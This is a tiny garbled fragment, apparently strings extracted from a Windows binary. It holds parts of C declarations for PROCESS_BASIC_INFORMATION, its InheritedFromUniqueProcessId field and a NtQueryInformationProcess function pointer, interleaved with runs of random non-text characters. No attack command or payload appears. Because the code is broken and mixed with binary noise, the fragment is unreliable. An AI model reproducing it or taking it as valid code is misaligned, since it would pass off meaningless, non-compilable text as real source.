ULONG InheritedFromUniqueProcessId; AQPzId*z
} PROCESS_BASIC_INFORMATION; 6-\C?w
A
N::.o+1
PROCNTQSIP NtQueryInformationProcess; UdFYG^i
p]6/1&t